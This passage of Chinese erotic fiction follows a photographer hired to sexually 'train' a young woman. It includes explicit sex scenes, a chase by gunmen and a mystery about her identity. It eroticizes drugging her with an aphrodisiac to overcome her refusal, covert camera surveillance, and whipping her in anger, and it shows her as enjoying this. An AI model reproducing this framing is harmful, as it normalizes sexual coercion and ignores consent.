  在这之前,姬乃应该也体会过快感。

  但是过去姬乃脑中所深植的伦理观或常识,将原本快感应有的「爽快的感觉」,以扭曲的认知深入她的印象。

  拓也很早以前就发觉而忧虑着-因为早上的红茶那件事使他想到一个好主意。

  (原来…如果有机会的话就好办!)

  只要有机会,就能发觉到以往没发觉的事。他发现了以前天天喝的红茶,原来真的很好喝。

  这次使用春药,就是这个的应用。

  如果给予压倒伦理观或常识的肉体快感的话。

  姬乃也不会曲解快感这件事吧!

  能够正确认识这样的快感的话,应该也可以学会女孩子的色豔吧…!

  「如何呢,舒服吗?」

  拓也询问着在浴室中蠕动的姬乃。

  但是姬乃没有回答。

  没有多余的时间回答吗?

  或是因为羞耻得回答不出来呢?

  和预想的反应一样,拓也故意的扳起严肃的表情。

  「如果不回答的话,手就停止不要动!」

  「是、是的…」

  姬乃的手从下腹离开,但是忍耐的时间却是那幺的短。

  「唔,好痒…」

  她横卧着,腰部开始左右扭动。当然,这样做是不可能平息疼痛的吧!

  拓也再次的询问她。

  「怎幺样呢?想玩弄吗?」

  「嗯…是的。」

  「为什幺想玩弄呢?」

  「因为,一玩弄那边就…」

  「一玩就怎样呢?」

  「…好、好舒服喔!」

  姬乃用很轻细的声音告白着。

  因为她无法做这以外的解释。拓也一边送着冷淡的视线,一边断定的说:「不行,不可以抚摸妳自己的私处!」

  「怎幺这样!」

  如果是以前的姬乃,绝对不会发出这样万不得已的叫声。至少,如果不使用春药的话,好歹也可以忍耐吧!

  现在对她而言…

  就连这样的时间都没有,用拼命的表情爬在浴室的地板上,紧抓着拓也的脚跟。

  「我、我已经没办法忍受了…请帮我想想办法!」

  姬乃眼眶浮出泪水。

  脸上因为发烫而泛红着,她的大腿被浴室的热气以外的东西给弄湿透了。

  看到这个情形的瞬间-

  拓也的脊樑,好像被寒颤跑过似的。

  于是他瞬间理解这种感觉的真面目了。

  (姬乃也能有如此淫蕩的表情…!)

  像是从小腹昇起的情慾,这是至今未曾感受过的强烈兽慾。

  再忍耐一下子,他这样的说着。

  「那幺,我要妳做一件事。」

  「什幺事…?」

  「嗯,我要妳说『主人先生,请抚摸我那淫猥的花瓣』。」

  这一瞬间…

  姬乃显然还畏怯着。

  但是,这仅仅只是一瞬间的事。

  「…请抚摸我!」

  「什幺?我听不见哟?」

  「请爱抚我那淫猥的花瓣!」

  姬乃以像要哭出来的表情叫着。

  知道了以前精神的不快感其实是很舒服的感觉的她,要拒绝拓也的命令已是不可能的事。

  另一方面拓地也是…

  已经没办法再控制自己了。

  他也不发一语的将姬乃的双脚给撑开,在她滚沸的蜜壸上用右手的食指和中指来插入。

  「啊!」

  姬乃仰着身体,私处把拓也的手指紧紧勒住,他的右手一下子就湿掉了。

  拓也用左手的手指捏着姬乃的花蕊。

  「啊,啊!」

  在浴室裏,姬乃的娇声回响着。在肉缝的上方,她那花蕊的突起饱涨得快要蹦出来。

  「把妳的感觉诚实的说出来。」

  拓也微微震动被埋没的右手指。

  不久,他听到他所期待的话。

  「啊…好舒服!」

  「怎样的舒服法呢!」

  「那边好热,快麻痺了…嗯!」

  姬乃没办法说明到最后,就扭动着身子娇喘着。

  拓也一用力大把的抓着她的胸部,她的呻吟声也随之变得愈来愈大。

  「好热!我身体好热喔!主人先生!」

  眼泪和口水润湿了她的脸…

  -实在淫乱不已。

  拓也并没有铁一般的忍耐力,能够被像这样倾诉般的目光凝视着而忍耐,当然他也不是性冷感。

  「好吧,我来帮妳降温。」

  他脱掉短裤,夸示着完全勃起的男根。

  于是将姬乃的身体给翻过来,抓住双手和双脚…挺起自己的家伙,一鼓作气冲刺。

  「啊!」

  姬乃从口中吐出热气。越过湿淋林乳白色的睡衣,传来她身体的寒颤。

  以为极端厌恶的私处异物感,恐怕没有像这样舒服过吧。

  相反的,在声音也出不来的快感中,姬乃轻轻的扭动她那漂亮的屁股。

  「怎幺样呢?妳也很舒服吗…?」

  拓也用舌头沾湿他因兴奋而乾透的嘴唇,慢慢的动起腰来,他的尖塔搅动着姬乃的声音,在周围淫荡的回响着。

  「啊!好舒服!好舒服!」

  在姬乃的淫声之下-

  拓出已经没有时间问她「什幺好舒服呢?」

  他从姬乃的背后,竭尽全力的将她的睡衣撕开,钮扣一粒不剩地四处飞弹,姬乃的胸部完全暴露出来。他用手指的触感很快的知道少女的峰顶已坚硬了。

  「不、不行了,主人先生!」

  「什幺事不行呢?」

  「再这样做的话…我的脑海中会变一片空白!」

  「那幺就让它空白吧!」

  「唔…啊!啊…」

  拓也激烈的爱抚她的胸部,在那之前姬乃支撑着身体的双臂,也在臂肘的地方弯了下去。

  她的上半身因无力而瘫软,但是拓也继续的搓揉她的胸部,从背后继续的侵犯着。

  「主人先生…我,好像有东西出来了?」

  姬乃更兴奋的叫着。

  拓也也已经陷入这个状态了。

  (已经,好像已经出来了!)

  在姬乃身中第十多次射精的瞬间快要到了。

  但是,这次可不能简单的射出精液。头一次造访的好机会,拓也绝对不会让它溜走。

  「不要抗拒,去感受它!」

  「我、我,快不行了…啊!啊…!」

  姬乃突然发出高八度的声音,在同时,精疲力尽的的裸体,突然变的僵硬起来。

  拓也立刻用手指头强烈的摘採着姬乃的花蕊。红色的肉芽好像被电流过一样,激烈的跳动着。

  「呜啊啊啊…!」

  姬乃以前未曾发出过的叫声,现在却震荡整个浴室。

  同时,大量的爱液跟尿将自己自身和拓也的脚完全给弄湿了。

  声音突然中断…

  儘管如此,不成声的呻吟声还是频频高亢的叫出,好几次全身痉挛。

  在最高潮时…

  拓也的精液在她的体内不断的喷出。

  -这是姬乃有生以来首次体验的高潮的瞬间。

  不久,姬乃好像用尽体力般,落下高高挺起的腰,精疲力尽的横躺着。

  

  

  ——————————————————————————–

  大约经过五分钟吧-

  「…主人先生。」

  从茫然的状态恢复后,姬乃终于抬起头来。

  「已经不要紧了吗?」

  拓也等着她的恢复,以平稳的声音问她。

  姬乃并不回答,反而提出这未知感觉的质问。

  「刚才,我的身体好像要蹦开了…那到底是怎幺回事呢?」

  「那就是『高潮』的感觉。」

  拓也看着她的眼睛回答她。

  「高潮…?」

  「是的,妳第一次体验到了绝顶的快感。」

  姬乃不可思议般地听着,懵懂地了解意思后,反而又害羞地红起脸来。

  「这、这种…我也?」

  完全不敢置信。

  但是从她的语气中,以往那种对「教育」的拒绝反应,至少拓也已经感觉不到了。

  

  

  ——————————————————————————–

  第四章

  「那个,主人先生。」

  拓也喝着早餐后的红茶,听着姬乃战战兢兢的说着。

  「今天,有预定要做什幺活动吗?」

  「没有,没有特别的…」

  拓也一边喝着大吉岭红茶、一边用着奇怪的表情凝视着她。也应该没有所谓的预定等等…的事,可是她却这样的问着。

  大体上,来了这宅邸之后摄影师的本职也处于休业状态,而姬乃的「教育」也因为在生理中所以什幺也不能做。因此,今日的拓也闲得没事做是既定的事实,连问也不必问。

  做了这样的确认后,姬乃用着谨慎的声音提议着。

  「事实上今天…我要出去到山脚下的镇上买东西…如果可以的话,想请主人先生和我一起出去买…」

  拓也静静的放下茶杯,凝视着姬乃的表情。他的眼神清清楚楚的表现出他的惊讶。

  拓也对姬乃所请託的事,不但是既定的事实,而且因为这也是第一次的事。

  「…啊,对不起,突如其来的请求…」姬乃突然道歉。

  拓也惊讶的视线中好不容易才消除责难的视线。

  拓也急忙解释着这个误会。

  「等一下,我什幺都还没说吧?」

  「但是…」

  「我陪妳出外购物。比起在家一整天无所事事,还是和妳去逛街比较好。」

  「啊…谢谢!」

  姬乃低下头来,开始收拾着早餐后的盘子。

  这时候,拓也心里所想到的,应该不再是他胡思乱想。

  

  

  ——————————————————————————–

  (我想太多了吗?姬乃…心情变的开明多了吧?)骑机车也要花将近一个小时的车程。

  这样长的距离如果以姬乃的脚来走的话,从黑岩家到达山脚下的城镇为止,至少要花半天的时间。

  -位于这盆地最底端的这个街道,规模虽然有些小,可是却有银行、邮局或商店等等…而成为盆地附近居民生活上的中心地。

  拓也前几天在进山的途中顺便到这街上。

  但是因为那时候一吃完饭和加完油后马上离开,所以这次可算是第一次好好在街上逛。

  「这街道虽小,但是气氛却很好啊!」

  拓也一边走在大马路上,一边说着她的感想。于是姬乃脸上浮出微笑来回应着他。

  「这边也是我上小学和中学的地方。因此我对于这个街道的一切我都清楚喔!」

  「喔!…」

  拓也一边凝视着姬乃白色与橘色的眩目装扮,一边发出佩服之声。

  …并非姬乃说话的内容感到佩服。

  与其说内向,应该说几乎不会自发性的说这些话的姬乃,以自己的意思说出这番话的事实让拓也觉得讶异。

  拓也从和姬乃相遇后,已经快接近两个月了。

  在这之间,姬乃对拓也好像是对饲主不太驯服的小狗一样,两人不自然地持续相处着。

  除了传达事情以外的话几乎不说话的姬乃,纵使拓也做出什幺建议她也固执的坚持己见,但也不因而逃开-这个情形,简直像即使想亲近却也没法解开惊戒心的小狗一般。

  但是…姬乃逐渐有些变化了。

  探伺着拓也的样子却不愿明白表露自己意见的她,终于逐渐自己愿意和拓也说话了。

  她大概在做着这样的努力吧!

  对于她想说些什幺但结果都是紧闭着嘴什幺也没有说的模样,拓也屡次看在眼里。

  这个努力,来到这边好不容易好像开始要有结果了。

  「啊…」

  姬乃突然伫立在时装商店的展示窗前,这个橱窗摆设着穿着泳装的人体模特儿。

  「看泳装啊!如此说来,姬乃每年都会去游泳吗?」

  对于拓也这样的询问着,她只是苦笑的回看着。

  「不…其实我没有在学校以外的地方游过泳。」

  「真的吗?」

  「是的,就连海我也没看过。」

  姬乃意外的说出心里的话。其实只要考虑到她生活在深山里的话就不难想像得到。但是拓也仍然感到惊讶!

  「因此,一看到泳装,在脑海里马上会联想到海的影像,而感到快乐的心情。」

  她说着这些话的表情完全没有任何顾忌,一直到最近拓也都没有见过这样的表情。

  (好不容易,解除她的惊戒心了吗?)

  一想到这里,不自觉的脸上露出微笑。

  拓也慌张地严肃起鬆懈的脸颊,像要掩饰害羞似地用着生硬的口调说着。

  「如果夏天来了,带妳去海边好吗?」

  这时姬乃用着意外的表情凝视拓也片刻之后,抱歉似的婉拒了。

  「因为要照顾爷爷所以…」

  「黑岩先生吗?」

  「因为爷爷不能出远门,所以我不可能自己去旅行。主人先生的好意,我只有心领了…」

  少女脸上浮出困惑的表情。拓也陷入自己提出过分要求的错觉,只有怅然失措地踱步着。

  (又是爷爷。姬乃生活的中心还是黑岩老人哪!)

  他虽然知道这回事,但对于她竟做得如此彻底,拓也的反应与其说吃惊,不如说是不合理所引发的愤慨。

  (如果说黑岩先生死的话,姬乃也会死吧?)

  大概,真的会死也说不定-这件容易推测的事情,对拓也来说绝不是件愉快的事。

  突然。

  「…不会吧!」

  他突然伫足大声的说。

  「怎幺了呢?」

  「呃?…不,没、什幺。」

  当场掩饰过去,再次踱步着。但是对于发觉到的事实,拓也却没办法压抑内心的动摇不安。

  (我是在嫉妒黑岩老人吗?)是对于姬乃如此敬慕省吾而生的嫉妒。

  为什幺自己会抱持那样的感情呢?他不想承认,但马上能理解这理由。

  (深深的被姬乃…所吸引住吧?)

  当然,能和姬乃这样的美少女每天做爱是非常开心的。他是健康的男性,性慾也比别人高一倍。

  但是,拓也的立场是教导姬乃女人的色豔的「家庭教师」,绝对无逾越也无不及。

  因此他一边严厉的警惕自己不要沈溺于肉慾之中,不要忘记自己坚持到底的立场,用最低限度的节度来教姬乃做爱。至少,到现在为止应该是如此吧--

  (我根本不是姬乃的恋人!)

  拓也再度确认自己的立场。但是只要视线一看到姬乃的背后姿态,他的心就会动摇着。

  从腰部到臀部的曲线,与初次见面的时候已经有明显的变化。以前是很苗条的腰部曲线,但是最近开始缓缓变的较圆滑丰满,已经成为较成熟女性的体型了。

  这才是拓也花费苦心教导她的,女人的色豔的一部分。姬乃逐渐的由「少女」转变成「女人」了。

  身材曲线的变化做为其证据,也是做为「教育」的成果,而应该真诚的感到高兴才对。但是对于开始被姬乃吸引的拓也来说,宁可不要见到。

  (到现在为止纵使为了训练她的美艳,每天像这样的拼命的做爱,姬乃也不会是我的人啊-!)

  在不知不觉间萌芽出嫉妒和独佔慾。

  再加上对姬乃感情的强烈变化,使得拓也的表情看起来像是愁云惨雾。

  …当他发现时,姬乃正打量着他的表情。

  「主人先生,为什幺突然不说话呢?」

  「呃?…没、没什幺。」

  拓也敷衍着她,若无其事的转移视线。如果不这样做,会感觉内心像是被看穿一样。

  -心里如果不动摇的话,果真会发觉到吗?

  他转移视线之时,看到了二人为伍的男人。

  在这纯朴气氛的街道上,他们实在是不怎幺相称。两个人好像在谈笑着,他们穿着上下成套黑色的西装,戴上太阳眼镜,令人感觉到非常可疑。

  拓也的脑海里闪烁着危险的信号。虽然可能性很小,但是万一…

  「…那幺,我们走吧?」

  「好!」

  拓也拉着姬乃的手,加快脚步。

  「走这幺快,怎幺了呢?」

  「嗯,有点事。」

  到十字路口右转后,走了几步往背后一瞥。

  (-果然跟上来了。)

  一身黑衣的两人小组大概距离拓也他们身后二十公尺,若无其事的走过来。

  拓也的心里由推测变得想要确定一下。

  (什幺理由不清楚…但那些家伙们却尾随跟在我们后面!)

  「姬乃,妳刚不是说妳对这条街的地理环境很熟悉吗!」

  「是、是的!」

  「小巷子也很清楚吗?」

  「是的,那条巷子和哪条大马路相通也都很清楚。」

  儘管回答着,姬乃不清楚拓也的问题的真正意思,表情显得有些怪异。

  但是他没有时间对姬乃说明。

  那些先不管,但如果不处理尾随的那两个人,对他们是非常危险的。

  「那幺,我们抄小路。要从那边进入呢?」

  「好的,从那家理容院旁边的小路进去。」

  拓也再次的加快脚步。一进入小巷后拓也就强拉着姬乃的手,快步的走着。

  「发生什幺事了吗?」

  惊讶的姬乃不敢随便回头,只说了这一句话。

  「我们…我们好像被谁跟蹤了。」

  「什幺?」

  姬乃瞪大双眼。

  这时在他们的耳边传来跑步声。从像是皮鞋的硬质声音判断,应该是刚刚的两人小组没错。

  拓也用很快的说话速度问着她。

  「我想甩掉跟蹤的人,妳知道更隐密的小路吗?」

  「如、如果这样的话,往那边那条放水桶的小路旁边,还有一条小巷…」

  姬乃手指着青色的塑胶水桶。

  在那个塑胶水桶旁…

  突然有个大的洞穴。

  「什幺!?」

  但是,塑胶水桶发出巨大的声音,里头的东西被倾倒、拨散向四周。

  拓也立刻回头一看,刚刚的两人小组…

  一手拿着手枪逼近他们。

  「手枪!?」

  拓也没想过竟会出现武器,一脸愕然。之所以并未听到枪声,恐怕是有装消音器吧。

  但是现在不是惊慌的时候,因为对他而言,现在身旁有着比自己生命更重要的姬乃。

  「啊、啊…」

  因为事发突然,姬乃的脸色苍白得连话都说不出来。拓也紧握着她的手大叫。

  「赶快逃,要不然会来不及!」

  「啊…啊,是的。」

  拓也拉着回过神的姬乃的手,踏着散乱的水桶破片和垃圾,猛然的往外跑。

  「等一等,姬乃!你们两人都停下来!」

  「如果不逃的话,就不会伤害你们!」

  从背后可以听到男人们的怒斥之声。

  但是,拓也可不会傻到去相信什幺都不说,就突然开枪的人说的话。

  磅!

  听到枪击声的同时,拓也的脸感到一阵灼热感。好像被子弹掠过,而感到血液渗出来。

  「主人先生!」

  「没关係!现在最重要的是,要往哪边走才能躲过这些家伙?」

  「在前面的T字路口向左转,下一个十字路口也请左转!」

  拓也一边擦拭脸颊的出血,一边拉着姬乃往T字路方向跑去--

  「混蛋,给逃跑了,好不容易才发现却…!」

  「要怎样向上面报告呢?」

  「老实跟上面说吧!因为我们的确看到像姬乃的女孩子!」

  一身黑衣的二人组只能伫立在十字路口皱着眉头。

  「无论如何,我们知道她住在这条街附近,今天就到此为止吧!」

  「…没办法,还是先回去吧!」

  两个人再一次环视四周后,向刚刚的马路折返。

  -从面对十字路口的大楼与紧邻的独栋房屋之间的空隙中,拓也和姬乃走了出来。

  「听不到声音了。大概走掉了吧…不过,妳对这里还真清楚嘛,还知道这种地方可以藏身。」

  拓也边说着,边因脸颊的疼痛而咋舌。姬乃一边拍去沾在衣服的灰尘一边对他微笑。

  「小时候有来过,只是因为长大了,那个缝隙的宽度能不能钻的进去却没有把握。」

  但是在她的眼眶中却充满着泪水。

  「实在是…好可怕。」

  「嗯,好恐怖!」

  拓也抱着姬乃的头,安慰着她。

  但是他的表情很严肃,没有多久就放开姬乃,从正面凝视而询问着她。

  「妳知道原因吗?」

  「…原因吗?」

  「那些家伙挥舞着手枪,追赶着妳,绝对不会毫无理由吧!」

  他理所当然会有这种疑问,但是姬乃却感到不可思议地歪着脖子。

  「我不知道,为什幺他们要这样追着我…?」

  「我也不太清楚。」

  回到家后直奔书房的拓也,询问着省吾。而省吾只是轻轻的缩着肩。

  「不管怎样,姬乃没有理由会遭人狙击。而且我也不知道他们为何会晓得姬乃的事。」

  「但是对方拿着枪哪!」

  拓也指着姬乃为他治疗的痕迹,声音变得粗暴。

  「竟然拿出那种东西瞄準姬乃,不可能没有任何理由吧!省吾先生,真的没有线索吗?」

  省吾将视线由窗外移到拓也身上。然后一边正视着青年的锐利视线一边回答着。

  「…没有。对了,姬乃。」

  「是的。」

  姬乃对于突来的指名而感到惊讶。省吾一边拿着烟草放入烟斗一边对她说。

  「妳暂时不能下山。」

  「咦?」

  「有人打算袭击妳,这是非常危险的。在危险还没解除之前,先不要外出。」

  「…我知道了,爷爷。」姬乃很听话的遵从着。

  而另一方面,拓也好像还想对省吾说些什幺,但是省吾并不理会他。

  「不好意思,可以让我一个人静一静吗?」

  

  

  ——————————————————————————–

  -两个人离开房间后,省吾点着烟斗,再次站在窗户旁边。外面早已过了傍晚,天色已完全笼罩在黑暗之中。他一边眺望景色,一边思考着姬乃的事情。

  她确实有显着的进步,和拓也来之前互相比较,格外增添了女人味。他平时用隐藏式摄影机观察着姬乃被「教育」的情形就能看出这一点。

  姬乃愈来愈陶醉在追求快感之中,对于省吾来说,没有比这更快乐的事了。

  …另一方面,姬乃的性格朝省吾不太喜欢的方向发展,也是事实。

  她应该是既文静又温顺且高雅的女孩子,却变成时常开口微笑,未徵询她的意见时也会主动发言,这也多半是受到拓也的影响吧!

  对省吾而言,这不是他乐见的结果。

  他希望等「教育」一结束,就要拓也儘早离开。因为要守住姬乃的品行,这样做是最好的。

  不-或者,我们自己搬出这房子,另做打算的时期来了也说不定。

  说到姬乃在街上被「杀手」袭击这件事,表示搜索的人已来到附近。

  过不多久,他们就会找到这栋房屋来了吧?至少在被发现之前,有必要先找到新的住所。

  省吾一边吐着烟圈,一边喃喃自语。

  「已经隐居了十八年…到底还是被『白川』家发觉到这里了吗?」

  老人一直凝视着森林上空稀疏的星光…

  

  

  ——————————————————————————–

  第五章

  早餐是各自在自己的房间内吃的。相反的,晚餐时大家一定会集合在饭厅内一起吃饭。

  这一天也不例外。拓也、姬乃、省吾三个人吃完香烤白带鱼为主菜的晚餐。

  「多谢妳的款待,菜很好吃。」

  拓也这样说着,而姬乃很高兴的微笑着準备着饭后的红茶。

  「也帮我泡一杯茶好吗?」

  「是的,爷爷。」

  连姬乃的份一共準备了三人份的茶杯,唬珀色的液体很有技巧地注入其中。

  拓也享受着这份芳香时…

  省吾缓慢的开口说话。

  「实在是非常的感谢你。」

  「怎幺了呢?突然说这种话?」

  突然的发言使得拓也感到惊慌失措,省吾继续说着。

  「平常我就想说…拓也先生的手腕很棒,感谢你将姬乃调教到这幺完美。」

  「啊,谢谢…」

  说到这儿,拓也好不容易才理解省吾所说的内容。他说的是有关于姬乃的色豔「教育」这件事。

  的确,姬乃「成长」的模样,几乎和以前判若两人。最近好像连胸部都变大了,即使容貌仍如少女般楚楚可怜,但浑身上下已开始持续散发女性的豔色。

  「如此一来,姬乃已成为古亭亭玉立的女人,不管嫁到哪边也不会感到羞耻。全都是托你的福。」

  「不、不,不要这样说…这个结局是姬乃的努力,我什幺也没做。」

  拓也慌张而谦虚的说。

  而姬乃一边拿出茶杯放在省吾爷爷的面前,又一边脸涨着红红的说道。

  「不,正如爷爷所说,是托主人先生的福。」

  这样的称讚,拓地也感到不好意思。

  「这样被捧的有点害羞。」

  他有点不好意思,浮出害羞的笑容。

  这时拓也并未发觉。

  省吾看到姬乃「没有礼貌」地在自己的谈话中插话进来,露出了困惑的表情。

  他也没机会察觉,因为省吾马上就接着说下去。

  「照这样子的话,姬乃的『教育』再一、两个星期就可以结束了。」

  「…」

  拓也的表情瞬时变得僵硬。

  终于--

  该来的时候还是会来。

  「教育」的结束即表示必须和姬乃离别。也就是说两个人即将回到陌生人的状态。

  说自己从来没想过,是骗人的。

  但是,在他一时性的抛弃三流杂誌摄影师的立场,专心致志地和少女做性爱的启蒙来渡过每一天之后…

  他的心中说不定开始发生了现在的生活,即是日常生活且恒常不变的错觉。

  和姬乃分离-这件事在理性上可能会觉悟,但感情上却难以拒绝。

  但是,把心里的话说出口的并不是拓也。

  「…请等一下,爷爷。」

  姬乃突然向省吾说了这些话。

  「我还是一个不成熟的女孩,还有很多地方需要主人先生留下来教导我。」

  「姬、姬乃…」

  她一边看着惊慌的拓也,一边恳求省吾。

  「因此,爷爷,请不要说只剩一、两个礼拜,请您让主人先生再多待一些时间…」

  「姬乃…插嘴是很失礼的!」

  省吾听完之后,用着严厉的眼神责备姬乃。这时,姬乃脸上浮现悲伤似的表情。

  「很抱歉…」

  「知道就好,以后要注意!」

  省吾的语调和缓下来,但是表情仍很严厉。

  「总之,姬乃,我们没有太多时间了。」

  「为什幺这幺说呢?」

  「没有全部把妳教会的时间了,因为我们不得不马上搬家。」

  「…为什幺呢?」

  这次拓也也因为惊愕而瞪大眼睛。

  在此省吾淡淡的说明。

  「因为这附近也开始不安了。像上个月被暴徒袭击这件事,拓也先生不至于忘记了吧?」

  「…」

  「姬乃,这完全是为了妳啊!万一有什幺不测,我怎幺对得起妳的双亲呢?」

  她的处女被陌生人夺去,不也是「万一的不测」吗?-拓也怀疑的思考着,但这种话当然说不出口。

  「姬乃,这次我们搬到更温暖的地方去。」

  「是、是的。」

  姬乃的回答有些许生硬。

  一个小时后。

  「还要再喝一杯吗?」

  「…好啊!」

  去倒红茶的姬乃和坐在寝室的拓也。

  两个人的表情都很迷惑。

  「我拿红茶来了。」

  「啊,谢谢。」

  姬乃将茶杯放在桌上,而拓也目不转睛地眺望她的样子。

  「那幺,我先出去了…」

  「辛苦妳了。」

  紧张的空气中,姬乃从寝室里退出,手要开门时。-就这样的站着,一动也没动。

  「姬乃…?」

  拓也觉得不可思议而开口之时。

  「主人先生。」

  姬乃突然回头,从正面凝视着他。

  「我找机会拜託爷爷看看。」

  「嗯,拜託…」

  「我恳求爷爷让主人先生也一起来新家。」

  「呃?」

  对于这突如其来的发言,拓也瞪大了眼睛。于是姬乃脸上浮出不安的表情。

  「那个,会造成您的困扰吗…」

  「不,没那回事…」

  「好好说的话,爷爷也应该会了解,主人先生对我而言是很重要的人。」

  姬乃的脸上鼓涨着勇敢的决定,拓地也深深的受到感动。

  「这些事,我无论如何也想让主人先生知道…那幺,请早点休息。」

  姬乃低着头,消失在门的另一边。

  只留下拓也伸出手端起桌上的茶杯,一口气将杯中的红茶全部喝完。

  「…真的很不想离开哪!」

  拓也深切的感叹。

  说了那些话的少女,令他感觉到从未有过的可爱。而这个想法,却直接连繫到对省吾的愤慨。

  他为何将那幺好的女孩,任凭我这样的陌生人处置呢?

  他要将姬乃养育成他所说的「完璧的女性」做什幺呢?至少,拓也为了这个而施予的「教育」,无法令人认为是已故的姬乃双亲的愿望吧!

  于是最后,好不容易才找到原本的疑问。

  「为什幺黑岩老人会对她孙女做出那样的指示…?」

  他当然得不到任何回答,如果有回答的话,老早就解开整件事的谜了。

  拓也懊恼的将茶杯静静的放回杯皿-

  卡锵!

  杯组互相碰撞的声音震荡在寝室的空气之中。轻轻放回的茶杯,将杯皿碰出了一道裂痕。

  拓也的手指并没有离开茶杯的手把。

  -他注意到一个重大假设。

  才刚喝完红茶,但拓也喃喃自语的嘴唇却非常乾渴。

  「…究竟,姬乃真的是省吾老人的孙女吗?」

  

  

  ——————————————————————————–

  隔天,拓也到山脚下的街道去。

  以买相机的名义,骑着机车到街上。

  顺道到派出所以及图书馆打听。图书馆是一间小小的二层楼建筑物。

  拓也在屋中一隅…

  保管过去在当地发行的报纸和出版书籍的书架,看看没有重大事情。

  「嗯,那是在三年前哪个月呢…啊,有了,那一天的报纸。」

  他拉出当地过期的报章杂誌。

  在头版上,赫然刊载着一张漂浮在海上的飞机残骸的相片,约佔整个版面的五分之三。

  的确,那就是姬乃的双亲因飞机坠落事故而身亡的照片。

  『乘客四0八人,绝望。』

  他为了寻找死亡者名单,而翻出这印刷着惨不忍睹的文字。

  拓也是这幺想的。

  在人口不多的这个地区,如果有坠机事故的罹难者,最多也不过、两人吧。

  另一方面,姬乃的双亲在事故当时是住在黑岩家。

  这样说的话,从这个地区出来的死者中,如果有相同名字的两人一组的话,一定就是姬乃的双亲吧-!

  无言的拓也,视线在名单上游走着。

  他的视线,停留在名单上的一点上。

  「该不会…!」

  拓也声嘶力竭地呻吟着。

  并排在一起的这个名字是。

  『白川悟』

  『白川惠子(旧姓.二阶堂)』

  「不是姓黑岩…!」

  看了好几次,名字都姓「白川」。

  拓也在这之后,查阅名单好几次,住在这边附近的罹难者,确定只有他们两人。

  儘管如此,他仍不敢断定。这两人说不定和姬乃什幺关係也没有。

  他继续找出三年前,亦即姬乃毕业那一年的当地高中的毕业纪念册。纪念册上记载着毕业生的相片跟名字。

  「姬乃在哪边呢?黑岩姬乃在…?」

  拓也一边喃喃自语一边寻找姬乃的相片。

  其实,他的脑中也有着他任意拼凑的名字,只是,那绝非他的希望。

  不久,他发现了姬乃三年前的相片。当时的姬乃,当然比现在还清纯,是个天真无邪的美少女。

  但是,紧紧盯住他视线的,是印刷在相片旁边的四个汉字。

  『白川姬乃』

  『…』

  持续凝视了约十分钟,拓也终于接受这最槽的事实。但是,他的视线仅只充满了虚空与无助。

  (姬乃,不是『黑岩姬乃』-!)

  也就是说,她不是省吾的孙女。这个事实夺去拓也的视线。虽然眼睛张开着,但是什幺也看不见。

  深刻且凝重的事实摆在他眼前。

  姬乃如果不是省吾的孙女,那两个人真正的关係到底又是什幺呢…?

  为什幺姬乃对没有亲戚关係的省吾,如此唯唯诺诺的遵从着呢?

  为什幺姬乃听陌生人省吾的命令,将处女献给我呢?省吾到底有什幺权利叫姬乃做那种事呢?

  省吾到底为了什幺!?要姬乃成为「完美的女性」呢?

  -拓也,在心中对着自称「租父跟孙女」,反覆大声呼喊着。

  当然…没有回答。

  拓也为了寻求答案,起身準备回去。

  (回去之后,要好好的追问姬乃!)

  

  

  ——————————————————————————–

  这个时候,拓也并未发觉,在图书馆中有两个穿着不合时宜的黑色服装的人,一直注视着拓也。

  「那个家伙确实是…和姬乃在一起的男人吧?」

  「好像是,捉住他,逼间他住处的地址!」

  「不行,我们还是跟蹤他比较安全!儘量避免像那时一样必须掏枪。」

  两人小声商量完后,就跟着拓也往出口走去--

  

  

  ——————————————————————————–

  「你回来了。」

  姬乃露出灿烂的笑脸来迎接伤心的拓也。

  「帮您準备好了洗澡水,马上可以入浴了。对了,买到什幺好的相机了吗?您空着手回来,是待会儿会送来吗?…啊!很抱歉,爷爷教过我,不要对男人追根究底的询问。果然,要成为完美的女性是很困难的哪。」

  不用说,拓也现在的心理状态,姬乃是无法知道的。

  但是这一天姬乃特别开朗,话也说的特别多。这是初相会时的姬乃不敢相信的转变,但恐怕也是她对于因昨天的对话而陷入失意的拓也,心中想儘可能表达的关怀。

  说实在的,现在的姬乃,非常接近拓也心里理想的女性的模样。

  相反的,这又刺痛着拓也的心。就连姬乃的笑容,看来都像是刻意装出来的。

  (故意迎合我的喜好吗?)毫无脉络可循的愤怒在他体内驰走着。

  (事事顺着我的期望,打算让我受骗而掉入他们什幺圈套吗?)他的理性,判断出这是他太过多心。但是,被欺骗的冲击,却妨碍了对于自己理性的信任。

  他连姬乃和省吾的关係都会看错,自己的判断还能相信吗?

  无法隐藏内心焦燥的拓也,抓住姬乃的肩膀,制止了她。

  「姬乃!」

  「是的,有什幺事呢?」

  想一口气问出真相的他,看到笑脸盈盈回过头的姬乃,不禁嚥下了想说的话。

  被她的笑容近距离地望着,拓也什幺也说不出口。

  『妳真的是省吾先生的孙女吗?』

  -仅仅说出这句话,就会破坏和姬乃的关係。他不得不感到可怕。

  「…您怎幺了?主人先生?」

  姬乃用不可思议的眼神凝视着突然沈默的拓也,这没有恶意(看起来)的视线,让拓也的感情爆发出来。

  「…现在马上到酒窖去!我要好好的爽个够!」

  「现在去吗?已经快要到晚餐时间了…」

  「妳不听我的命令吗!?我是妳的主人喔!」

  「我、我知道了,我马上準备。」

  姬乃用更加不可思议的眼神凝视着拓也。

  

  

  ——————————————————————————–

  省吾有在晚餐时喝酒的嗜好。儘管他喝得并不多,但拥有豪邸且过着富裕生活的他,喝的当然都是高价名酒。

  在房子的地下酒窖中,储藏着一百瓶以上省吾最爱喝的洋酒。

  -在这酒窖中,响遍了姬乃混杂着困惑的喘气声。

  「啊、啊!」

  姬乃用手支撑着墙壁,奄奄一息的叫着。

  「今、今天的主人先生,和往常好像不一样!」

  拓也回应她的…是不堪入耳的谩骂,及疼痛的鞭痕。

  「啰嗦!还跟我顶嘴!」

  几乎同时,鞭子击打的声音在仓库中回响着。姬乃珍珠色的肌肤上,不断产生新的鞭痕。

  一条一条的伤痕,都代表着拓也的愤怒。

  (妳为什幺要骗我?)

  (达到目的之后,是不是要抛下我而搬离这房屋?)

  拓也完全成为疑心疑鬼的俘虏。他将对于这个谜团所产生的愤怒,化为姬乃身上的鞭痕。只有这幺做,他才能保住自己的心不会完全崩溃。

  在一丝未穿的裸体上用鞭子抽打着,在背上、屁股,和腿上,伤痕一条条隆起。

  「啊!」

  每回,姬乃都迸出悲惨的叫声。但是她愈呻吟,拓也的怒气也就愈增加。

  因为,姬乃所发出的,并不是痛苦的悲鸣。

  「身、身体好热喔!」

  …的确,那是快感的悲鸣声。

